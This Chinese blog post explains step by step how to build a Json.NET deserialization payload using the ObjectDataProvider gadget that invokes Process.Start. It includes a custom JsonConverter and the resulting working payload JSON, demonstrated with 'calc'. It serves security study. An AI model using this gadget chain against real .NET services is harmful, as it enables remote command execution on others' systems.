首页 > 其他分享 >Json.NET反序列化漏洞生成Ysoserial攻击Payload

Json.NET反序列化漏洞生成Ysoserial攻击Payload

时间:2023-07-14 20:22:35浏览次数:42  
标签:PublicKeyToken Process Ysoserial System Json ObjectDataProvider 序列化 type

Ysoserial.Net只提供序列化之后的Payload主体,具体执行的命令从外部输入,实现代码清单如下

String payload = @"{

    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',

    'MethodName':'Start',

    'MethodParameters':{

        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',

        '$values':[" + cmdPart + @"]

    },

    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}

从$type类型得知序列化使用了ObjectDataProvider类,MethodParameters.Add方法的参数是一个ArrayList集合,既然知道了原理我们尝试序列化出Ysoserial这段攻击载荷,TestClass.ClassMethod()内部调用Process.Start启动进程,

再次尝试序列化时发现抛出了异常:Error getting value from 'BasePriority' on 'System.Diagnostics.Process'.  如下图

ObjectDataProvider类的ObjectInstance属性实际使用时就是实例化对象,所以它需要绑定一个能被实例化的对象,那些诸如File、Assembly类都不适用。如果想使用ObjectInstance就必须创建类的实例,然而Process类在实例化时BasePriority、ExitCode等多个属性在Json.NET序列化的时候抛出异常,导致序列化失败。

把目光转移到JsonConverter类,签名定义如下

ReadJson方法用于将JSON反序列化为对象。WriteJson(JsonWriter writer, object value, JsonSerializer serializer) 可以通过JsonWriter将对象的属性和值写入JSON,这个方法正是我们所寻找的。思路是尝试使用JsonWriter对Process对象的$type赋值。

public class ProcessConverter : JsonConverter
    {
        public override void WriteJson(JsonWriter writer, object value, JsonSerializer serializer)
        {
            Process process = (Process)value;
            writer.WriteStartObject();
            writer.WritePropertyName("$type");
            writer.WriteValue(process.GetType().AssemblyQualifiedName);
            writer.WriteEndObject();
        }
        public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer)
        {throw new NotImplementedException();}
        public override bool CanConvert(Type objectType)
        {return objectType == typeof(Process);}
    }

通过settings.Converters.Add将自定义的ProcessConverter类添加到序列化过程,从而执行自定义逻辑。完事具备现在开始序列化使用ObjectDataProvider.ObjectInstance属性绑定Process实例化对象,如下代码

ObjectDataProvider odp = new ObjectDataProvider();

odp.MethodName = "Start";

odp.MethodParameters.Add("calc");

odp.ObjectInstance = new System.Diagnostics.Process();

string text = JsonConvert.SerializeObject(odp, settings);

生成的JSON清单如下

{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ObjectInstance":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"},"MethodName":"Start","MethodParameters":{"$type":"MS.Internal.Data.ParameterCollection, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","$values":["calc"]},"Data":{"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"}}

扫码左侧二维码进入星球,扫码右侧二维码关注dotNet安全矩阵公众号,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

 

标签:PublicKeyToken,Process,Ysoserial,System,Json,ObjectDataProvider,序列化,type
From: https://www.cnblogs.com/Ivan1ee/p/17554895.html

相关文章

  • jsconfig.json文件作用
    没搞懂具体是个啥,目前知道有两个作用1. 别名路径提示{"compilerOptions":{"target":"esnext",//覆盖vscode的CheckJS选项"checkJs":false,"strict":true,"allowSyntheticDefaultImports":true,&......
  • 记录--再也不用手动改package.json的版本号
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助本文的起因是有在代码仓库发包后,同事问我“为什么package.json里的版本还是原来的,有没有更新?”,这个时候我意识到,我们完全没有必要在每次发布的时候还特意去关注这个仓库的版本号,只要在发布打tag的时候同步一下即......
  • CTFer成长记录——CTF之Web专题·初识反序列化
    一、题目链接http://122.114.252.87:1110/index2.php前置知识:序列化与反序列化序列化是将变量转换成可保存或传输的字符串,实现函数是:serialize();反序列化是:将字符串转换成变量,是一个逆过程。实现的函数式:unserialize();序列化:上面的结果是对一个对象的打印,后面是序列化......
  • EF Core 7.0 – JSON Column
    @@EFCore7json列 前言SQLServer支持JSON,以前写过一篇介绍SQLServer–WorkwithJSON. 但EFCore一直没有支持。直到EFCore7.0才支持。EFCore7包含对JSON列的提供程序无关的支持,以及SQLServer的实现。此支持允许将从.NET类型生成的聚合映射到......
  • Clickhouse、Mysql、Presto数据库解析Json数据
    一、Clickhouse解析Json1、visitParamExtractBool(json,name)→提取json中的name字段,返回UInt8,0或1  例:visitParamExtractBool('{"name":true}','name')ASbool2、visitParamExtractInt(json,name)→提取json中的name字段,返回Int型的值  例:visitParamExtractInt......
  • 畅捷通T+ GetStoreWarehouseByStore 反序列化分析
    漏洞描述畅捷通T+前台存在反序列化漏洞,攻击者可直接利用此漏洞执行任意命令影响版本T+13.0、T+16.0漏洞分析漏洞主要是因为ajaxPro组件存在CVE-2021-23758,但是这个漏洞有个要求是传输的参数类型必须是object通过反编译App_Code.dll的Ufida.T.CodeBehind._PriorityLevel中G......
  • 如何在进入url后从json字符集合中选择某个键值对的值?
    进入URL返回的字符集合, 假如只获取result中的formatted_address的值?1、创建查询条件query?选择键 formatted_address? 2、设置响应在发出HTTP请求后接收响应并将其存储在名为xxx变量中,你可以使用XMLHttpRequest或fetchAPI来进行异步请求。......
  • jboss JMXInvokerServlet反序列化漏洞
    jmxinvokerservlet反序列化漏洞描述:JBOSS在/invoker/jmxinvokerservlet请求中读取了用户传入的对象,可利用apachecommonscollections中的gadget执行任意代码CommonCollectionGadget主要是由ConstantTransformer,InvokerTransformer,ChainedTransformer构成。gadget主要通过Transfor......
  • QJsonObject
    QJsonObject #include<QJsonObject> PublicTypesclassconst_iteratorclassiteratortypedefConstIteratortypedefIteratortypedefkey_typetypedefmapped_typetypedefsize_typePublicFunctions QJsonObject() QJsonO......
  • 在Unity3D中使用ScriptableObject进行序列化
    ScriptableObject类型经常用于存储一些unity3d本身不可以打包的一些object,比如字符串,一些类对象等。用这个类型的子类型,则可以用BuildPipeline打包成assetbundle包供后续使用,非常方便。这样除了playerpref和c#文件读取外,另外的一种存取一些数据对象的方法1.usingUnityEngine;......